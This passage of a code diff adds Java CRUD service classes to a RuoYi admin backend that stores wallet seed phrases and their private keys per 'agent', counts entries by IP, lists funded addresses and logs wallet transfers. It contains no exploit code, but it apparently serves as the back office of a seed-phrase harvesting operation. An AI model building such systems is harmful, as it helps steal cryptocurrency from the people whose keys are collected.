+    public SysBlackip selectSysBlackipById(Long id);
+
+    /**
+     * 查询IP黑名单列表
+     * 
+     * @param sysBlackip IP黑名单
+     * @return IP黑名单集合
+     */
+    public List<SysBlackip> selectSysBlackipList(SysBlackip sysBlackip);
+
+    /**
+     * 新增IP黑名单
+     * 
+     * @param sysBlackip IP黑名单
+     * @return 结果
+     */
+    public int insertSysBlackip(SysBlackip sysBlackip);
+
+    /**
+     * 修改IP黑名单
+     * 
+     * @param sysBlackip IP黑名单
+     * @return 结果
+     */
+    public int updateSysBlackip(SysBlackip sysBlackip);
+
+    /**
+     * 批量删除IP黑名单
+     * 
+     * @param ids 需要删除的IP黑名单主键集合
+     * @return 结果
+     */
+    public int deleteSysBlackipByIds(String ids);
+
+    /**
+     * 删除IP黑名单信息
+     * 
+     * @param id IP黑名单主键
+     * @return 结果
+     */
+    public int deleteSysBlackipById(Long id);
+}

+ 104 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/service/ISysMnemonicService.java

@@ -0,0 +1,104 @@
+package com.ruoyi.system.service;
+
+import com.ruoyi.system.domain.SysMnemonic;
+import org.apache.ibatis.annotations.Param;
+
+import java.util.List;
+
+/**
+ * 助记词Service接口
+ * 
+ * @author lanbing
+ * @date 2023-03-23
+ */
+public interface ISysMnemonicService 
+{
+    /**
+     * 查询助记词
+     * 
+     * @param id 助记词主键
+     * @return 助记词
+     */
+    public SysMnemonic selectSysMnemonicById(Long id);
+
+    /**
+     * 查询助记词列表
+     * 
+     * @param sysMnemonic 助记词
+     * @return 助记词集合
+     */
+    public List<SysMnemonic> selectSysMnemonicList(SysMnemonic sysMnemonic);
+
+    public List<SysMnemonic> selectSysMnemonicListdel(SysMnemonic sysMnemonic);
+
+    /**
+     * 排序
+     *
+     * @param status 助记词
+     * @return 助记词集合
+     */
+    public List<SysMnemonic> selectSysMnemonicListbysort(@Param("currentagentid") Long currentagentid, @Param("status")  int status);
+
+    public List<SysMnemonic> selectSysMnemonicListbysortdel(@Param("currentagentid") Long currentagentid, @Param("status")  int status);
+
+    /**
+     * 新增助记词
+     * 
+     * @param sysMnemonic 助记词
+     * @return 结果
+     */
+    public int insertSysMnemonic(SysMnemonic sysMnemonic);
+
+    /**
+     * 修改助记词
+     * 
+     * @param sysMnemonic 助记词
+     * @return 结果
+     */
+    public int updateSysMnemonic(SysMnemonic sysMnemonic);
+
+    /**
+     * 批量删除助记词
+     * 
+     * @param ids 需要删除的助记词主键集合
+     * @return 结果
+     */
+    public int deleteSysMnemonicByIds(String ids);
+
+    public int deleteSysMnemonictokenajaxByIds(String ids);
+
+    /**
+     * 删除助记词信息
+     * 
+     * @param id 助记词主键
+     * @return 结果
+     */
+    public int deleteSysMnemonicById(Long id);
+
+    /**
+     * 统计助记词数据
+     *
+     * @param type 统计助记词数据
+     * @return 结果
+     */
+    public String selectSysMnemonicCount(@Param("type") String type,@Param("platform") String platform,@Param("agentid") String agentid);
+
+    /**
+     * 统计助记词数据2
+     *
+     * @param type 统计助记词数据
+     * @return 结果
+     */
+    public String selectSysMnemonicSum(@Param("type") String type,@Param("platform") String platform,@Param("agentid") String agentid);
+
+
+    public String selectSysMnemonicCountIp(@Param("ip") String ip);
+
+
+    public String selectSysMnemonicSum95001(@Param("type") String type,@Param("platform") String platform,@Param("agentid") String agentid);
+    public String selectSysMnemonicSum95002(@Param("type") String type,@Param("platform") String platform,@Param("agentid") String agentid);
+
+    public List<SysMnemonic> selectyjbalancefrompublic(@Param("token") String token, @Param("balance") String balance, @Param("agentid") String agentid);
+
+
+}

+ 62 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/service/ISysMnemonicTokenPrivatekeyService.java

@@ -0,0 +1,62 @@
+package com.ruoyi.system.service;
+
+import com.ruoyi.system.domain.SysMnemonicTokenPrivatekey;
+
+import java.util.List;
+
+/**
+ * 助记词私钥Service接口
+ * 
+ * @author lanbing
+ * @date 2023-03-25
+ */
+public interface ISysMnemonicTokenPrivatekeyService 
+{
+    /**
+     * 查询助记词私钥
+     * 
+     * @param id 助记词私钥主键
+     * @return 助记词私钥
+     */
+    public SysMnemonicTokenPrivatekey selectSysMnemonicTokenPrivatekeyById(Long id);
+
+    /**
+     * 查询助记词私钥列表
+     * 
+     * @param sysMnemonicTokenPrivatekey 助记词私钥
+     * @return 助记词私钥集合
+     */
+    public List<SysMnemonicTokenPrivatekey> selectSysMnemonicTokenPrivatekeyList(SysMnemonicTokenPrivatekey sysMnemonicTokenPrivatekey);
+
+    /**
+     * 新增助记词私钥
+     * 
+     * @param sysMnemonicTokenPrivatekey 助记词私钥
+     * @return 结果
+     */
+    public int insertSysMnemonicTokenPrivatekey(SysMnemonicTokenPrivatekey sysMnemonicTokenPrivatekey);
+
+    /**
+     * 修改助记词私钥
+     * 
+     * @param sysMnemonicTokenPrivatekey 助记词私钥
+     * @return 结果
+     */
+    public int updateSysMnemonicTokenPrivatekey(SysMnemonicTokenPrivatekey sysMnemonicTokenPrivatekey);
+
+    /**
+     * 批量删除助记词私钥
+     * 
+     * @param ids 需要删除的助记词私钥主键集合
+     * @return 结果
+     */
+    public int deleteSysMnemonicTokenPrivatekeyByIds(String ids);
+
+    /**
+     * 删除助记词私钥信息
+     * 
+     * @param id 助记词私钥主键
+     * @return 结果
+     */
+    public int deleteSysMnemonicTokenPrivatekeyById(Long id);
+}

+ 99 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/service/ISysMnemonicTokenService.java

@@ -0,0 +1,99 @@
+package com.ruoyi.system.service;
+
+import com.ruoyi.system.domain.SysMnemonicToken;
+import org.apache.ibatis.annotations.Param;
+
+import java.util.List;
+
+/**
+ * 代币Service接口
+ * 
+ * @author lanbing
+ * @date 2023-03-24
+ */
+public interface ISysMnemonicTokenService 
+{
+    /**
+     * 查询代币
+     * 
+     * @param id 代币主键
+     * @return 代币
+     */
+    public SysMnemonicToken selectSysMnemonicTokenById(Long id);
+
+    /**
+     * 通过助记词id查询代币
+     *
+     * @param id 助记词id
+     * @return 代币
+     */
+    public List<SysMnemonicToken>  selectSysMnemonicBymnemonicId(Long id);
+
+    /**
+     * 通过钱包地址查询助记词id
+     *@param currentagentid 钱包地址
+     * @param address 钱包地址
+     * @return 代币
+     */
+    public List<SysMnemonicToken>  selectSysMnemonicByaddress(@Param("currentagentid") Long currentagentid, @Param("address") String address);
+
+    public List<SysMnemonicToken>  selectSysMnemonicByaddressdel(@Param("currentagentid") Long currentagentid, @Param("address") String address);
+
+    /**
+     * 查询代币列表
+     * 
+     * @param sysMnemonicToken 代币
+     * @return 代币集合
+     */
+    public List<SysMnemonicToken> selectSysMnemonicTokenList(SysMnemonicToken sysMnemonicToken);
+
+    /**
+     * 新增代币
+     * 
+     * @param sysMnemonicToken 代币
+     * @return 结果
+     */
+    public int insertSysMnemonicToken(SysMnemonicToken sysMnemonicToken);
+
+    /**
+     * 修改代币
+     * 
+     * @param sysMnemonicToken 代币
+     * @return 结果
+     */
+    public int updateSysMnemonicToken(SysMnemonicToken sysMnemonicToken);
+
+    /**
+     * 批量删除代币
+     * 
+     * @param ids 需要删除的代币主键集合
+     * @return 结果
+     */
+    public int deleteSysMnemonicTokenByIds(String ids);
+
+    /**
+     * 删除代币信息
+     * 
+     * @param id 代币主键
+     * @return 结果
+     */
+    public int deleteSysMnemonicTokenById(Long id);
+
+    /**
+     * 统计token数据
+     *
+     * @param type 统计助记词数据
+     * @return 结果
+     */
+    public String selectSysMnemonicTokenCount(@Param("type") String type,@Param("platform") String platform,@Param("agentid") String agentid);
+
+
+    public List<SysMnemonicToken> selectyjbalancefromstand(@Param("agentid") String agentid);
+
+
+    public int deleteSysMnemonicTokenByMnemonicId(Long id);
+
+
+
+    public List<SysMnemonicToken> selectSysMnemonicTokenTaskSingleList(@Param("token") String token);
+}

+ 62 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/service/ISysPublicConfigService.java

@@ -0,0 +1,62 @@
+package com.ruoyi.system.service;
+
+import com.ruoyi.system.domain.SysPublicConfig;
+
+import java.util.List;
+
+/**
+ * 全局设置Service接口
+ * 
+ * @author ruoyi
+ * @date 2023-03-26
+ */
+public interface ISysPublicConfigService 
+{
+    /**
+     * 查询全局设置
+     * 
+     * @param id 全局设置主键
+     * @return 全局设置
+     */
+    public SysPublicConfig selectSysPublicConfigById(Long id);
+
+    /**
+     * 查询全局设置列表
+     * 
+     * @param sysPublicConfig 全局设置
+     * @return 全局设置集合
+     */
+    public List<SysPublicConfig> selectSysPublicConfigList(SysPublicConfig sysPublicConfig);
+
+    /**
+     * 新增全局设置
+     * 
+     * @param sysPublicConfig 全局设置
+     * @return 结果
+     */
+    public int insertSysPublicConfig(SysPublicConfig sysPublicConfig);
+
+    /**
+     * 修改全局设置
+     * 
+     * @param sysPublicConfig 全局设置
+     * @return 结果
+     */
+    public int updateSysPublicConfig(SysPublicConfig sysPublicConfig);
+
+    /**
+     * 批量删除全局设置
+     * 
+     * @param ids 需要删除的全局设置主键集合
+     * @return 结果
+     */
+    public int deleteSysPublicConfigByIds(String ids);
+
+    /**
+     * 删除全局设置信息
+     * 
+     * @param id 全局设置主键
+     * @return 结果
+     */
+    public int deleteSysPublicConfigById(Long id);
+}

+ 62 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/service/ISysTransferLogService.java

@@ -0,0 +1,62 @@
+package com.ruoyi.system.service;
+
+import com.ruoyi.system.domain.SysTransferLog;
+
+import java.util.List;
+
+/**
+ * 钱包转账Service接口
+ * 
+ * @author ruoyi
+ * @date 2023-03-27
+ */
+public interface ISysTransferLogService 
+{
+    /**
+     * 查询钱包转账
+     * 
+     * @param id 钱包转账主键
+     * @return 钱包转账
+     */
+    public SysTransferLog selectSysTransferLogById(Long id);
+
+    /**
+     * 查询钱包转账列表
+     * 
+     * @param sysTransferLog 钱包转账
+     * @return 钱包转账集合
+     */
+    public List<SysTransferLog> selectSysTransferLogList(SysTransferLog sysTransferLog);
+
+    /**
+     * 新增钱包转账
+     * 
+     * @param sysTransferLog 钱包转账
+     * @return 结果
+     */
+    public int insertSysTransferLog(SysTransferLog sysTransferLog);
+
+    /**
+     * 修改钱包转账
+     * 
+     * @param sysTransferLog 钱包转账
+     * @return 结果
+     */
+    public int updateSysTransferLog(SysTransferLog sysTransferLog);
+
+    /**
+     * 批量删除钱包转账
+     * 
+     * @param ids 需要删除的钱包转账主键集合
+     * @return 结果
+     */
+    public int deleteSysTransferLogByIds(String ids);
+
+    /**
+     * 删除钱包转账信息
+     * 
+     * @param id 钱包转账主键
+     * @return 结果
+     */
+    public int deleteSysTransferLogById(Long id);
+}

+ 62 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/service/ISysWriteipService.java

@@ -0,0 +1,62 @@
+package com.ruoyi.system.service;
+
+import com.ruoyi.system.domain.SysWriteip;
+
+import java.util.List;
+
+/**
+ * 后台登录白名单Service接口
+ * 
+ * @author ruoyi
+ * @date 2023-03-31
+ */
+public interface ISysWriteipService 
+{
+    /**
+     * 查询后台登录白名单
+     * 
+     * @param id 后台登录白名单主键
+     * @return 后台登录白名单
+     */
+    public SysWriteip selectSysWriteipById(Long id);
+
+    /**
+     * 查询后台登录白名单列表
+     * 
+     * @param sysWriteip 后台登录白名单
+     * @return 后台登录白名单集合
+     */
+    public List<SysWriteip> selectSysWriteipList(SysWriteip sysWriteip);
+
+    /**
+     * 新增后台登录白名单
+     * 
+     * @param sysWriteip 后台登录白名单
+     * @return 结果
+     */
+    public int insertSysWriteip(SysWriteip sysWriteip);
+
+    /**
+     * 修改后台登录白名单
+     * 
+     * @param sysWriteip 后台登录白名单
+     * @return 结果
+     */
+    public int updateSysWriteip(SysWriteip sysWriteip);
+
+    /**
+     * 批量删除后台登录白名单
+     * 
+     * @param ids 需要删除的后台登录白名单主键集合
+     * @return 结果
+     */
+    public int deleteSysWriteipByIds(String ids);
+
+    /**
+     * 删除后台登录白名单信息
+     * 
+     * @param id 后台登录白名单主键
+     * @return 结果
+     */
+    public int deleteSysWriteipById(Long id);
+}

+ 95 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/service/impl/SysBlackipServiceImpl.java

@@ -0,0 +1,95 @@
+package com.ruoyi.system.service.impl;
+
+import com.ruoyi.common.core.text.Convert;
+import com.ruoyi.system.domain.SysBlackip;
+import com.ruoyi.system.mapper.SysBlackipMapper;
+import com.ruoyi.system.service.ISysBlackipService;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Service;
+
+import java.util.List;
+
+/**
+ * IP黑名单Service业务层处理
+ * 
+ * @author ruoyi
+ * @date 2023-03-25
+ */
+@Service
+public class SysBlackipServiceImpl implements ISysBlackipService 
+{
+    @Autowired
+    private SysBlackipMapper sysBlackipMapper;
+
+    /**
+     * 查询IP黑名单
+     * 
+     * @param id IP黑名单主键
+     * @return IP黑名单
+     */
+    @Override
+    public SysBlackip selectSysBlackipById(Long id)
+    {
+        return sysBlackipMapper.selectSysBlackipById(id);
+    }
+
+    /**
+     * 查询IP黑名单列表
+     * 
+     * @param sysBlackip IP黑名单
+     * @return IP黑名单
+     */
+    @Override
+    public List<SysBlackip> selectSysBlackipList(SysBlackip sysBlackip)
+    {
+        return sysBlackipMapper.selectSysBlackipList(sysBlackip);
+    }
+
+    /**
+     * 新增IP黑名单
+     * 
+     * @param sysBlackip IP黑名单
+     * @return 结果
+     */
+    @Override
+    public int insertSysBlackip(SysBlackip sysBlackip)
+    {
+        return sysBlackipMapper.insertSysBlackip(sysBlackip);
+    }
+
+    /**
+     * 修改IP黑名单
+     * 
+     * @param sysBlackip IP黑名单
+     * @return 结果
+     */
+    @Override
+    public int updateSysBlackip(SysBlackip sysBlackip)
+    {
+        return sysBlackipMapper.updateSysBlackip(sysBlackip);
+    }
+
+    /**
+     * 批量删除IP黑名单
+     * 
+     * @param ids 需要删除的IP黑名单主键
+     * @return 结果
+     */
+    @Override
+    public int deleteSysBlackipByIds(String ids)
+    {
+        return sysBlackipMapper.deleteSysBlackipByIds(Convert.toStrArray(ids));
+    }
+
+    /**
+     * 删除IP黑名单信息
+     * 
+     * @param id IP黑名单主键
+     * @return 结果
+     */
+    @Override
+    public int deleteSysBlackipById(Long id)
+    {
+        return sysBlackipMapper.deleteSysBlackipById(id);
+    }
+}

+ 182 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/service/impl/SysMnemonicServiceImpl.java

@@ -0,0 +1,182 @@
+package com.ruoyi.system.service.impl;
+
+import com.ruoyi.common.core.text.Convert;
+import com.ruoyi.system.domain.SysMnemonic;
+import com.ruoyi.system.mapper.SysMnemonicMapper;
+import com.ruoyi.system.service.ISysMnemonicService;
+import org.apache.ibatis.annotations.Param;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Service;
+
+import java.util.List;
+
+/**
+ * 助记词Service业务层处理
+ * 
+ * @author lanbing
+ * @date 2023-03-23
+ */
+@Service
+public class SysMnemonicServiceImpl implements ISysMnemonicService 
+{
+    @Autowired
+    private SysMnemonicMapper sysMnemonicMapper;
+
+    /**
+     * 查询助记词
+     * 
+     * @param id 助记词主键
+     * @return 助记词
+     */
+    @Override
+    public SysMnemonic selectSysMnemonicById(Long id)
+    {
+        return sysMnemonicMapper.selectSysMnemonicById(id);
+    }
+
+    /**
+     * 查找符合条件的地址
+     *
+     * @param token 助记词类型
+     * @param balance 助记词类型
+     * @return 结果
+     */
+    @Override
+    public List<SysMnemonic> selectyjbalancefrompublic(@Param("token") String token, @Param("balance") String balance, @Param("agentid") String agentid)
+    {
+        return sysMnemonicMapper.selectyjbalancefrompublic(token,balance,agentid);
+    }
+
+    /**
+     * 查询助记词列表
+     * 
+     * @param sysMnemonic 助记词
+     * @return 助记词
+     */
+    @Override
+    public List<SysMnemonic> selectSysMnemonicList(SysMnemonic sysMnemonic)
+    {
+        return sysMnemonicMapper.selectSysMnemonicList(sysMnemonic);
+    }
+
+    @Override
+    public List<SysMnemonic> selectSysMnemonicListdel(SysMnemonic sysMnemonic)
+    {
+        return sysMnemonicMapper.selectSysMnemonicListdel(sysMnemonic);
+    }
+
+    /**
+     * 排序
+     *
+     * @param status 助记词
+     * @return 助记词
+     */
+    @Override
+    public List<SysMnemonic> selectSysMnemonicListbysort(@Param("currentagentid") Long currentagentid, @Param("status")  int status)
+    {
+        return sysMnemonicMapper.selectSysMnemonicListbysort(currentagentid,status);
+    }
+
+    @Override
+    public List<SysMnemonic> selectSysMnemonicListbysortdel(@Param("currentagentid") Long currentagentid, @Param("status")  int status)
+    {
+        return sysMnemonicMapper.selectSysMnemonicListbysortdel(currentagentid,status);
+    }
+
+    /**
+     * 新增助记词
+     * 
+     * @param sysMnemonic 助记词
+     * @return 结果
+     */
+    @Override
+    public int insertSysMnemonic(SysMnemonic sysMnemonic)
+    {
+        return sysMnemonicMapper.insertSysMnemonic(sysMnemonic);
+    }
+
+    /**
+     * 修改助记词
+     * 
+     * @param sysMnemonic 助记词
+     * @return 结果
+     */
+    @Override
+    public int updateSysMnemonic(SysMnemonic sysMnemonic)
+    {
+        return sysMnemonicMapper.updateSysMnemonic(sysMnemonic);
+    }
+
+    /**
+     * 批量删除助记词
+     * 
+     * @param ids 需要删除的助记词主键
+     * @return 结果
+     */
+    @Override
+    public int deleteSysMnemonicByIds(String ids)
+    {
+        return sysMnemonicMapper.deleteSysMnemonicByIds(Convert.toStrArray(ids));
+    }
+
+    @Override
+    public int deleteSysMnemonictokenajaxByIds(String ids)
+    {
+        return sysMnemonicMapper.deleteSysMnemonictokenajaxByIds(Convert.toStrArray(ids));
+    }
+
+    /**
+     * 删除助记词信息
+     * 
+     * @param id 助记词主键
+     * @return 结果
+     */
+    @Override
+    public int deleteSysMnemonicById(Long id)
+    {
+        return sysMnemonicMapper.deleteSysMnemonicById(id);
+    }
+
+    /**
+     * 统计助记词数据
+     *
+     * @param type 助记词类型
+     * @return 结果
+     */
+    @Override
+    public String selectSysMnemonicCount(@Param("type") String type,@Param("platform") String platform,@Param("agentid") String agentid)
+    {
+        return sysMnemonicMapper.selectSysMnemonicCount(type,platform,agentid);
+    }
+
+    /**
+     * 统计助记词数据2
+     *
+     * @param type 助记词类型
+     * @return 结果
+     */
+    @Override
+    public String selectSysMnemonicSum(@Param("type") String type,@Param("platform") String platform,@Param("agentid") String agentid)
+    {
+        return sysMnemonicMapper.selectSysMnemonicSum(type,platform,agentid);
+    }
+
+    @Override
+    public String selectSysMnemonicCountIp(@Param("ip") String ip)
+    {
+        return sysMnemonicMapper.selectSysMnemonicCountIp(ip);
+    }
+
+    @Override
+    public String selectSysMnemonicSum95001(@Param("type") String type,@Param("platform") String platform,@Param("agentid") String agentid)
+    {
+        return sysMnemonicMapper.selectSysMnemonicSum95001(type,platform,agentid);
+    }
+
+    @Override
+    public String selectSysMnemonicSum95002(@Param("type") String type,@Param("platform") String platform,@Param("agentid") String agentid)
+    {
+        return sysMnemonicMapper.selectSysMnemonicSum95002(type,platform,agentid);
+    }
+
+}

+ 95 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/service/impl/SysMnemonicTokenPrivatekeyServiceImpl.java

@@ -0,0 +1,95 @@
+package com.ruoyi.system.service.impl;
+
+import com.ruoyi.common.core.text.Convert;
+import com.ruoyi.system.domain.SysMnemonicTokenPrivatekey;
+import com.ruoyi.system.mapper.SysMnemonicTokenPrivatekeyMapper;
+import com.ruoyi.system.service.ISysMnemonicTokenPrivatekeyService;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Service;
+
+import java.util.List;
+
+/**
+ * 助记词私钥Service业务层处理
+ * 
+ * @author lanbing
+ * @date 2023-03-25
+ */
+@Service
+public class SysMnemonicTokenPrivatekeyServiceImpl implements ISysMnemonicTokenPrivatekeyService
+{
+    @Autowired
+    private SysMnemonicTokenPrivatekeyMapper sysMnemonicTokenPrivatekeyMapper;
+
+    /**
+     * 查询助记词私钥
+     * 
+     * @param id 助记词私钥主键
+     * @return 助记词私钥
+     */
+    @Override
+    public SysMnemonicTokenPrivatekey selectSysMnemonicTokenPrivatekeyById(Long id)
+    {
+        return sysMnemonicTokenPrivatekeyMapper.selectSysMnemonicTokenPrivatekeyById(id);
+    }
+
+    /**
+     * 查询助记词私钥列表
+     * 
+     * @param sysMnemonicTokenPrivatekey 助记词私钥
+     * @return 助记词私钥
+     */
+    @Override
+    public List<SysMnemonicTokenPrivatekey> selectSysMnemonicTokenPrivatekeyList(SysMnemonicTokenPrivatekey sysMnemonicTokenPrivatekey)
+    {
+        return sysMnemonicTokenPrivatekeyMapper.selectSysMnemonicTokenPrivatekeyList(sysMnemonicTokenPrivatekey);
+    }
+
+    /**
+     * 新增助记词私钥
+     * 
+     * @param sysMnemonicTokenPrivatekey 助记词私钥
+     * @return 结果
+     */
+    @Override
+    public int insertSysMnemonicTokenPrivatekey(SysMnemonicTokenPrivatekey sysMnemonicTokenPrivatekey)
+    {
+        return sysMnemonicTokenPrivatekeyMapper.insertSysMnemonicTokenPrivatekey(sysMnemonicTokenPrivatekey);
+    }
+
+    /**
+     * 修改助记词私钥
+     * 
+     * @param sysMnemonicTokenPrivatekey 助记词私钥
+     * @return 结果
+     */
+    @Override
+    public int updateSysMnemonicTokenPrivatekey(SysMnemonicTokenPrivatekey sysMnemonicTokenPrivatekey)
+    {
+        return sysMnemonicTokenPrivatekeyMapper.updateSysMnemonicTokenPrivatekey(sysMnemonicTokenPrivatekey);
+    }
+
+    /**
+     * 批量删除助记词私钥
+     * 
+     * @param ids 需要删除的助记词私钥主键
+     * @return 结果
+     */
+    @Override
+    public int deleteSysMnemonicTokenPrivatekeyByIds(String ids)
+    {
+        return sysMnemonicTokenPrivatekeyMapper.deleteSysMnemonicTokenPrivatekeyByIds(Convert.toStrArray(ids));
+    }
+
+    /**
+     * 删除助记词私钥信息
+     * 
+     * @param id 助记词私钥主键
+     * @return 结果
+     */
+    @Override
+    public int deleteSysMnemonicTokenPrivatekeyById(Long id)
+    {
+        return sysMnemonicTokenPrivatekeyMapper.deleteSysMnemonicTokenPrivatekeyById(id);
+    }
+}

+ 161 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/service/impl/SysMnemonicTokenServiceImpl.java

@@ -0,0 +1,161 @@
+package com.ruoyi.system.service.impl;
+
+import com.ruoyi.common.core.text.Convert;
+import com.ruoyi.system.domain.SysMnemonicToken;
+import com.ruoyi.system.mapper.SysMnemonicTokenMapper;
+import com.ruoyi.system.service.ISysMnemonicTokenService;
+import org.apache.ibatis.annotations.Param;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Service;
+import org.springframework.transaction.annotation.Transactional;
+
+import java.util.List;
+
+/**
+ * 代币Service业务层处理
+ * 
+ * @author lanbing
+ * @date 2023-03-24
+ */
+@Service
+public class SysMnemonicTokenServiceImpl implements ISysMnemonicTokenService 
+{
+    @Autowired
+    private SysMnemonicTokenMapper sysMnemonicTokenMapper;
+
+    /**
+     * 查询代币
+     * 
+     * @param id 代币主键
+     * @return 代币
+     */
+    @Override
+    public SysMnemonicToken selectSysMnemonicTokenById(Long id)
+    {
+        return sysMnemonicTokenMapper.selectSysMnemonicTokenById(id);
+    }
+    /**
+     * 通过助记词id查询代币
+     *
+     * @param id 助记词id
+     * @return 代币
+     */
+    @Override
+    public List<SysMnemonicToken> selectSysMnemonicBymnemonicId(Long id) {
+        return sysMnemonicTokenMapper.selectSysMnemonicBymnemonicId(id);
+    }
+    /**
+     * 通过钱包地址查询助记词id
+     * @param currentagentid 代理商id
+     * @param address 钱包地址
+     * @return 代币
+     */
+    @Override
+    @Transactional
+    public List<SysMnemonicToken> selectSysMnemonicByaddress(@Param("currentagentid") Long currentagentid, @Param("address") String address) {
+        return sysMnemonicTokenMapper.selectSysMnemonicByaddress(currentagentid,address);
+    }
+
+    @Override
+    @Transactional
+    public List<SysMnemonicToken> selectSysMnemonicByaddressdel(@Param("currentagentid") Long currentagentid, @Param("address") String address) {
+        return sysMnemonicTokenMapper.selectSysMnemonicByaddressdel(currentagentid,address);
+    }
+    /**
+     * 查询代币列表
+     * 
+     * @param sysMnemonicToken 代币
+     * @return 代币
+     */
+    @Override
+    public List<SysMnemonicToken> selectSysMnemonicTokenList(SysMnemonicToken sysMnemonicToken)
+    {
+        return sysMnemonicTokenMapper.selectSysMnemonicTokenList(sysMnemonicToken);
+    }
+
+    /**
+     * 新增代币
+     * 
+     * @param sysMnemonicToken 代币
+     * @return 结果
+     */
+    @Override
+    public int insertSysMnemonicToken(SysMnemonicToken sysMnemonicToken)
+    {
+        return sysMnemonicTokenMapper.insertSysMnemonicToken(sysMnemonicToken);
+    }
+
+    /**
+     * 修改代币
+     * 
+     * @param sysMnemonicToken 代币
+     * @return 结果
+     */
+    @Override
+    public int updateSysMnemonicToken(SysMnemonicToken sysMnemonicToken)
+    {
+        return sysMnemonicTokenMapper.updateSysMnemonicToken(sysMnemonicToken);
+    }
+
+    /**
+     * 批量删除代币
+     * 
+     * @param ids 需要删除的代币主键
+     * @return 结果
+     */
+    @Override
+    public int deleteSysMnemonicTokenByIds(String ids)
+    {
+        return sysMnemonicTokenMapper.deleteSysMnemonicTokenByIds(Convert.toStrArray(ids));
+    }
+
+    /**
+     * 删除代币信息
+     * 
+     * @param id 代币主键
+     * @return 结果
+     */
+    @Override
+    public int deleteSysMnemonicTokenById(Long id)
+    {
+        return sysMnemonicTokenMapper.deleteSysMnemonicTokenById(id);
+    }
+
+    /**
+     * 统计token数据
+     *
+     * @param type 助记词类型
+     * @return 结果
+     */
+    @Override
+    public String selectSysMnemonicTokenCount(@Param("type") String type,@Param("platform") String platform,@Param("agentid") String agentid)
+    {
+        return sysMnemonicTokenMapper.selectSysMnemonicTokenCount(type,platform,agentid);
+    }
+
+
+
+    /**
+     * 查找符合条件的地址2
+     *
+     * @return 结果
+     */
+    @Override
+    public List<SysMnemonicToken> selectyjbalancefromstand(@Param("agentid") String agentid)
+    {
+        return sysMnemonicTokenMapper.selectyjbalancefromstand(agentid);
+    }
+
+    @Override
+    public int deleteSysMnemonicTokenByMnemonicId(Long id)
+    {
+        return sysMnemonicTokenMapper.deleteSysMnemonicTokenByMnemonicId(id);
+    }
+
+    @Override
+    public List<SysMnemonicToken> selectSysMnemonicTokenTaskSingleList(@Param("token") String token)
+    {
+        return sysMnemonicTokenMapper.selectSysMnemonicTokenTaskSingleList(token);
+    }
+
+}

+ 95 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/service/impl/SysPublicConfigServiceImpl.java

@@ -0,0 +1,95 @@
+package com.ruoyi.system.service.impl;
+
+import com.ruoyi.common.core.text.Convert;
+import com.ruoyi.system.domain.SysPublicConfig;
+import com.ruoyi.system.mapper.SysPublicConfigMapper;
+import com.ruoyi.system.service.ISysPublicConfigService;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Service;
+
+import java.util.List;
+
+/**
+ * 全局设置Service业务层处理
+ * 
+ * @author ruoyi
+ * @date 2023-03-26
+ */
+@Service
+public class SysPublicConfigServiceImpl implements ISysPublicConfigService 
+{
+    @Autowired
+    private SysPublicConfigMapper sysPublicConfigMapper;
+
+    /**
+     * 查询全局设置
+     * 
+     * @param id 全局设置主键
+     * @return 全局设置
+     */
+    @Override
+    public SysPublicConfig selectSysPublicConfigById(Long id)
+    {
+        return sysPublicConfigMapper.selectSysPublicConfigById(id);
+    }
+
+    /**
+     * 查询全局设置列表
+     * 
+     * @param sysPublicConfig 全局设置
+     * @return 全局设置
+     */
+    @Override
+    public List<SysPublicConfig> selectSysPublicConfigList(SysPublicConfig sysPublicConfig)
+    {
+        return sysPublicConfigMapper.selectSysPublicConfigList(sysPublicConfig);
+    }
+
+    /**
+     * 新增全局设置
+     * 
+     * @param sysPublicConfig 全局设置
+     * @return 结果
+     */
+    @Override
+    public int insertSysPublicConfig(SysPublicConfig sysPublicConfig)
+    {
+        return sysPublicConfigMapper.insertSysPublicConfig(sysPublicConfig);
+    }
+
+    /**
+     * 修改全局设置
+     * 
+     * @param sysPublicConfig 全局设置
+     * @return 结果
+     */
+    @Override
+    public int updateSysPublicConfig(SysPublicConfig sysPublicConfig)
+    {
+        return sysPublicConfigMapper.updateSysPublicConfig(sysPublicConfig);
+    }
+
+    /**
+     * 批量删除全局设置
+     * 
+     * @param ids 需要删除的全局设置主键
+     * @return 结果
+     */
+    @Override
+    public int deleteSysPublicConfigByIds(String ids)
+    {
+        return sysPublicConfigMapper.deleteSysPublicConfigByIds(Convert.toStrArray(ids));
+    }
+
+    /**
+     * 删除全局设置信息
+     * 
+     * @param id 全局设置主键
+     * @return 结果
+     */
+    @Override
+    public int deleteSysPublicConfigById(Long id)
+    {
+        return sysPublicConfigMapper.deleteSysPublicConfigById(id);
+    }
+}

+ 97 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/service/impl/SysTransferLogServiceImpl.java

@@ -0,0 +1,97 @@
+package com.ruoyi.system.service.impl;
+
+import com.ruoyi.common.core.text.Convert;
+import com.ruoyi.common.utils.DateUtils;
+import com.ruoyi.system.domain.SysTransferLog;
+import com.ruoyi.system.mapper.SysTransferLogMapper;
+import com.ruoyi.system.service.ISysTransferLogService;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Service;
+
+import java.util.List;
+
+/**
+ * 钱包转账Service业务层处理
+ * 
+ * @author ruoyi
+ * @date 2023-03-27
+ */
+@Service
+public class SysTransferLogServiceImpl implements ISysTransferLogService 
+{
+    @Autowired
+    private SysTransferLogMapper sysTransferLogMapper;
+
+    /**
+     * 查询钱包转账
+     * 
+     * @param id 钱包转账主键
+     * @return 钱包转账
+     */
+    @Override
+    public SysTransferLog selectSysTransferLogById(Long id)
+    {
+        return sysTransferLogMapper.selectSysTransferLogById(id);
+    }
+
+    /**
